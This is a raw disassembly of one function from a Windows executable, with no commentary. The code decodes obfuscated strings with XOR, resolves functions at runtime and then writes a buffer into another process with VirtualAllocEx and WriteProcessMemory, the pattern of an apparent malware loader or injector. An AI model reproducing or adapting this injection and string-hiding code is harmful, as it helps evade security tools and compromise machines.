movabs rax, 0xd8bac12b5b94cf7
mov qword [rbp + 0x93e8], rax
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe0000000200586be
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x72fcf7e5f1f1fb2d
mov qword [rbp + 0x9420], rax
movabs rax, 0x60eed861ccea2280
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x3290]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400465c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movabs rax, 0x86c4ffaa7220e60
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7cfe47a7cac4030b
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x64023d91d44d7a0e
mov qword [rbp + 0x9400], rax
movabs rax, 0x7cfe47a7afbc6625
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x22f0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x3290]
lea rcx, [rbp + 0x22f0]
call fcn.1400532e0
mov qword [rsi + 0x38], rax
test rax, rax
jne 0x14004683c
movabs rax, 0x47f5a174e7f084
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe970656580bbe67
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x47f5d31b9582c1
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xe50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xe60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xe70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xe80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xe90], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xea0], xmm0
movabs rax, 0x1fffffffe666e827
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe0000000197c738c
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1fffffffe666e213
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0x900], xmm0
movaps xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x910], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x920], xmm1
lea r8, [rbp + 0xe50]
lea rdx, [rbp + 0x900]
jmp 0x1400471fb
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x8163076be641b02
mov qword [rbp + 0x93e0], rax
movabs rax, 0x54036f46df27889
mov qword [rbp + 0x93e8], rax
movabs rax, 0xbbc8a89d49d19ac
mov qword [rbp + 0x93f0], rax
movabs rax, 0x4de0802af4d48272
mov qword [rbp + 0x93f8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x67646002db236852
mov qword [rbp + 0x9420], rax
movabs rax, 0x712353a71e811dea
mov qword [rbp + 0x9428], rax
movabs rax, 0x4ad9f9e896f376c5
mov qword [rbp + 0x9430], rax
movabs rax, 0x4de0f35991a6e616
mov qword [rbp + 0x9438], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x6a90]
lea rcx, [rbp + 0x120]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x140046931
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
movabs rax, 0x1537661b546c91d9
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7dbf5df878a4a6e0
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x795914702703e5b7
mov qword [rbp + 0x9400], rax
movabs rax, 0x7dbf5df81ddcc3ce
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x23c0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x6a90]
lea rcx, [rbp + 0x23c0]
call fcn.1400532e0
mov qword [rsi + 0x48], rax
test rax, rax
jne 0x140046bdd
movabs rax, 0x4d3f2faa9788a8
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe9c68c8a172b377
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x4d3f5dc5e5faed
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xeb0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xec0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xed0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xee0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xef0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xf00], xmm0
movabs rax, 0x1fffffffe6e2db20
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe000000018f887f6
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1fffffffe6e2d115
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0x930], xmm0
movaps xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x940], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x950], xmm1
lea r8, [rbp + 0xeb0]
lea rdx, [rbp + 0x930]
jmp 0x1400471fb
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1a6ec51af9d43f96
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6e2fbbd297d6dde3
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7f1aa47e90b85ec0
mov qword [rbp + 0x9400], rax
movabs rax, 0x6e2fbbd2f3b8aaab
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x2490]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
movabs rax, 0x11dbeb3d952e17df
mov qword [rbp + 0x93e0], rax
movabs rax, 0x651f3d53960dedfe
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x70b9800fa6407ea8
mov qword [rbp + 0x9400], rax
movabs rax, 0x651f4e2ae523888d
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x130], xmm2
lea rcx, [rbp + 0x2ba0]
lea rax, [rbp + 0x120]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x2490]
lea rcx, [rbp + 0x2ba0]
call fcn.1400532e0
mov qword [rsi + 0x60], rax
test rax, rax
jne 0x140046f0a
movabs rax, 0x4b7acf1a2bcfe4
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe9aa79fd62a66a7
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x4b7abd7559bda1
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xf10], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xf20], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xf30], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xf40], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xf50], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xf60], xmm0
movabs rax, 0x1fffffffe6b8a714
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe0000000192052f3
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1fffffffe6b8ad22
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0x840], xmm0
movaps xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x850], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x860], xmm1
lea r8, [rbp + 0xf10]
lea rdx, [rbp + 0x840]
jmp 0x1400471fb
movabs rax, 0x16d5e7f6f3e565b8
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7ceebe234139a41e
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x79a7b78296a216e8
mov qword [rbp + 0x9400], rax
movabs rax, 0x7c8cdb73324ac17d
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x120], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x130], xmm1
lea rax, [rbp + 0x3090]
lea rcx, [rbp + 0x120]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r12, 1
jne 0x140046f90
movabs rax, 0x8786915b9146641
mov qword [rbp + 0x93e0], rax
movabs rax, 0x738b6d48164c6194
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x64161b7eca7b122f
mov qword [rbp + 0x9400], rax
movabs rax, 0x738b6d48733404ba
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x2560]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x3090]
lea rcx, [rbp + 0x2560]
call fcn.1400532e0
mov qword [rsi + 0x68], rax
test rax, rax
jne 0x140047219
movabs rax, 0x50a8edd7cb42bd
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe9b50ecadf0735c
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x50a89fb8b930f8
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xf70], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xf80], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xf90], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xfa0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xfb0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xfc0], xmm0
movabs rax, 0x1fffffffe730fc76
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe000000018b5d831
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1fffffffe730f641
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0x70], xmm0
movaps xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x90], xmm1
lea r8, [rbp + 0xf70]
lea rdx, [rbp + 0x70]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
jmp 0x140047273
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x6c8b8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x140047265
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x6c8b8
mov r8, rsi
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rbp - 0x20]
test rax, rax
je 0x140047271
mov qword [rax], rbx
mov bl, 1
lea rcx, [rbp + 0x92f0]
call fcn.140059be0
jmp 0x14004740b
movabs rax, 0x2bfaeac9009aaf
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe7a3385d96b89c9
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x2bfa98a672e8ea
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movabs rax, 0x1c87aa767d0b3c92
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6e59f655dfda7f54
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7fe2f81d0e6e78b3
mov qword [rbp + 0x9400], rax
movabs rax, 0x6e59f655dfda7520
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1810]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x1810]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
movzx edx, byte [rbp + 0x9330]
lea rcx, [rbp + 0x9338]
call fcn.14005ae20
nop
lea rcx, [rbp + 0x9380]
call fcn.14000b160
nop
lea rcx, [rbp + 0x9350]
call fcn.14000b160
movzx eax, bl
mov rcx, qword [rbp + 0x9a30]
xor rcx, rsp
call fcn.140108a30
lea r11, [rsp + 0x9ba0]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret